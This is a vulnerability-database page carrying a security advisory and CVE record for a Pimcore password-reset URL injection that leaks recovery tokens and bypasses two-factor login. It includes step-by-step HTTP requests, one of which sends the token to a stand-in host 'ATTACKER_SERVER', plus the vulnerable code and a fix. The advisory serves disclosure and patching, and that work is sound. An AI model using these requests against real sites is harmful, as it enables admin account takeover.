Vulnerability-Lookup

GHSA-H854-C3M3-MH5V

Vulnerability from github – Published: 2026-08-28 19:04 – Updated: 2026-08-28 19:04

Summary

Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass

Details

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
Package: pimcore/studio-backend-bundle
Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/studio-backend-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/studio-backend-bundle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:04:16Z",
    "nvd_published_at": "2026-07-09T21:16:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled `resetPasswordUrl`. The server generates a real cryptographic recovery token, appends it to the attacker\u0027s URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker\u0027s server. The attacker then uses `POST /pimcore-studio/api/login/token` to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.\n\n## Vulnerability Details\n\n### Unauthenticated Endpoint Accepts Attacker URL\n\nThe reset password endpoint at `src/User/Controller/ResetPasswordController.php` line 53 is public (uses `PUBLIC_STUDIO_API` voter). The `ResetPassword` schema at `src/User/Schema/ResetPassword.php` accepts a `resetPasswordUrl` string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.\n\n```php\nfinal readonly class ResetPassword\n{\n    public function __construct(\n        private string $username,\n        private string $resetPasswordUrl  // attacker-controlled, no validation\n    ) {}\n}\n```\n\n### Token Appended to Attacker URL\n\nIn `src/User/Service/UserLoginService.php` at line 64-65, the service generates a real recovery token and concatenates the attacker\u0027s URL with the token:\n\n```php\n$token = $this-\u003eauthenticationResolver-\u003egenerateTokenByUser($user);\n$loginUrl = $resetPassword-\u003egetResetPasswordUrl() . \u0027?token=\u0027 . $token;\n```\n\nThe token is generated and stored in the database BEFORE `sendResetPasswordMail()` is called on line 68. Even if email delivery fails, the token exists.\n\n### Token Login Bypasses 2FA\n\n`src/Security/Authenticator/AdminTokenAuthenticator.php` line 60 explicitly disables 2FA on token login:\n\n```php\n$pimcoreUser-\u003esetTwoFactorAuthentication(\u0027required\u0027, false);\n```\n\n### Token Validity\n\nThe token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker\u0027s server captures it before the victim completes any reset flow.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4.\n\n### 1. Send password reset with attacker URL (no authentication needed)\n\n```http\nPOST /pimcore-studio/api/user/reset-password HTTP/1.1\nHost: TARGET\nContent-Type: application/json\n\n{\"username\":\"admin\",\"resetPasswordUrl\":\"https://ATTACKER_SERVER:9999/steal\"}\n```\n\u003cimg width=\"1756\" height=\"882\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23\" /\u003e\n\n- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB\n\n### 2. Confirm token was generated\n\nDatabase query shows the recovery token was created:\n\n```\n name    has_token   token_prefix\n admin   1           def50200cdbd3c1292288a716c623f\n```\n\n### 3. Token login (after victim clicks the link in their email)\n\n```http\nPOST /pimcore-studio/api/login/token HTTP/1.1\nHost: TARGET\nContent-Type: application/json\n\n{\"token\":\"def50200cdbd3c1292288a716c623f...full_token...\"}\n```\n\n**Response:**\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict\nSet-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax\n```\n\u003cimg width=\"1756\" height=\"679\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5\" /\u003e\n\n### 4. Verify full admin access with the stolen session\n\n```http\nGET /pimcore-studio/api/users HTTP/1.1\nHost: TARGET\nCookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419\n```\n\n**Response:** `HTTP/1.1 200 OK`\n\n```json\n{\"totalItems\":1,\"items\":[{\"id\":1,\"username\":\"admin\",\"additionalAttributes\":[]}]}\n```\n\u003cimg width=\"1668\" height=\"906\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab\" /\u003e\n\nFull admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.\n\n## Impact\n\nAn unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.\n\nThe attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).\n\nOnce authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.\n\n## Recommended Fix\n\nRemove the `resetPasswordUrl` parameter entirely and construct the URL server-side from the configured system domain:\n\n```php\n$loginUrl = \u0027https://\u0027 . $this-\u003edomain . \u0027/admin/login?token=\u0027 . $token;\n```\n\nIf the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)\n- Package: `pimcore/studio-backend-bundle`\n- Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)",
  "id": "GHSA-h854-c3m3-mh5v",
  "modified": "2026-08-28T19:04:16Z",
  "published": "2026-08-28T19:04:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-h854-c3m3-mh5v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/pull/1882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/commit/ea9d329686f5e5aea2eec378d63ac2deb965bb27"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass"
}

CVE-2026-55207 (GCVE-0-2026-55207)

Vulnerability from cvelistv5 – Published: 2026-07-09 21:02 – Updated: 2026-07-10 13:34

Title

Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass

Summary

Pimcore is an Open Source Data & Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, an unauthenticated attacker who knows a valid admin username can take over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the supplied URL, and emails the link to the victim; when the victim clicks the link, the token is sent to the attacker and can be used with POST /pimcore-studio/api/login/token to authenticate with full admin privileges while bypassing two-factor authentication. This issue is fixed in versions 2025.4.6 and 2026.1.6.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 13:34 UTC

CWE

CWE-640 - Weak Password Recovery Mechanism for Forgotten Password

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/pimcore/pimcore/security/advis…	x_refsource_CONFIRM
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC
https://github.com/pimcore/studio-backend-bundle/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pimcore	pimcore	Affected: >= 2026.1.0, < 2026.1.6 Affected: < 2025.4.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55207",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T13:34:00.598927Z",
                "version": "2.0.3"
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            }
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        "providerMetadata": {
          "dateUpdated": "2026-07-10T13:34:28.607Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-h854-c3m3-mh5v"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pimcore",
          "vendor": "pimcore",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2026.1.0, \u003c 2026.1.6"
            },
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              "status": "affected",
              "version": "\u003c 2025.4.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, an unauthenticated attacker who knows a valid admin username can take over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the supplied URL, and emails the link to the victim; when the victim clicks the link, the token is sent to the attacker and can be used with POST /pimcore-studio/api/login/token to authenticate with full admin privileges while bypassing two-factor authentication. This issue is fixed in versions 2025.4.6 and 2026.1.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
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            "version": "3.1"
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              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-09T21:02:02.733Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pimcore/pimcore/security/advisories/GHSA-h854-c3m3-mh5v",
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          "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-h854-c3m3-mh5v"
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          "tags": [
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          "tags": [
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          "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
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          "name": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6",
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          "url": "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
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      "source": {
        "advisory": "GHSA-h854-c3m3-mh5v",
        "discovery": "UNKNOWN"
      },
      "title": "Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass"
    }
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "cveId": "CVE-2026-55207",
    "datePublished": "2026-07-09T21:02:02.733Z",
    "dateReserved": "2026-06-16T16:16:32.627Z",
    "dateUpdated": "2026-07-10T13:34:28.607Z",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-H854-C3M3-MH5V

Summary

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

Token Appended to Attacker URL

Token Login Bypasses 2FA

Token Validity

Steps to Reproduce

1. Send password reset with attacker URL (no authentication needed)

2. Confirm token was generated

3. Token login (after victim clicks the link in their email)

4. Verify full admin access with the stolen session

Impact

Recommended Fix

Supporting Materials

CVE-2026-55207 (GCVE-0-2026-55207)

Tags

Sightings

Nomenclature